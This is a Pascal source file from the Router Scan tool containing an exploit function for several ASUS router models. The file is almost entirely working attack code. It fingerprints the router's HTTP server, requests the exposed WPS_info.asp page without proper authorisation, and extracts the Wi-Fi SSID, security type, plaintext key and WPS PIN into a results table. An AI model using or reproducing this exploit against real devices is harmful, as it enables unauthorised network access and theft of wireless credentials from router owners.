// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://forum.antichat.ru/showpost.php?p=3723404&postcount=22

function TRouter.Exploit_ASUS_WPS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  L: TStringList;
begin
  // Affected:
  // ASUS RT-N13U
  // ASUS RT-N13U Rev.B1
  // ASUS RT-N56U
  // ASUS DSL-N10
  // ASUS DSL-N12U
  // ASUS WL-330N3G
  // ASUS RT-N12E
  Result := False;
  if (ServerName <> 'httpd')
  and (ServerName <> 'httpd/2.0') then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/WPS_info.asp', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    S := UTF8Decode(S);
    if Pos('<wps_info>', S)>0 then begin
      L := TStringList.Create;
      L.Text := S;
      if L.Count >= 10 then begin
        SSID := DeleteBetween(L.Strings[4], '<wps_info>', '</wps_info>');
        Sec := DeleteBetween(L.Strings[5], '<wps_info>', '</wps_info>');
        Pasw := DeleteBetween(L.Strings[8], '<wps_info>', '</wps_info>');
        Pin := DeleteBetween(L.Strings[9], '<wps_info>', '</wps_info>');
        if (Sec = 'Open System') and (Pasw = 'None') then begin
          Sec := 'None';
          Pasw := '<empty>';
        end;
        if Sec = 'WPA-Personal' then
          Sec := 'WPA';
        if Sec = 'WPA2-Personal' then
          Sec := 'WPA2';
        if Sec = 'WPA-PersonalWPA2-Personal' then
          Sec := 'WPA/WPA2';

        if SSID <> '' then begin
          ParseHTMLHex(SSID);
          SetTableCell(stcSSID, SSID);
        end;
        if Sec <> '' then
          SetTableCell(stcSec, Sec);
        if Pasw <> '' then begin
          //ParseHTMLHex(Pasw);
          SetTableCell(stcKey, Pasw);
        end;
        if Pin <> '' then
        begin
          while Length(Pin) < 8 do
            Insert('0', Pin, 1);
          SetTableCell(stcPin, Pin);
        end;
      end;
      L.Free;
    end else
      if Pos('WSC_PIN = "', S)>0 then begin
        Pin := DeleteBetween(S, 'WSC_PIN = "', '";');
        if Pin <> '' then
          SetTableCell(stcPin, Pin);
      end;
  end;
end;
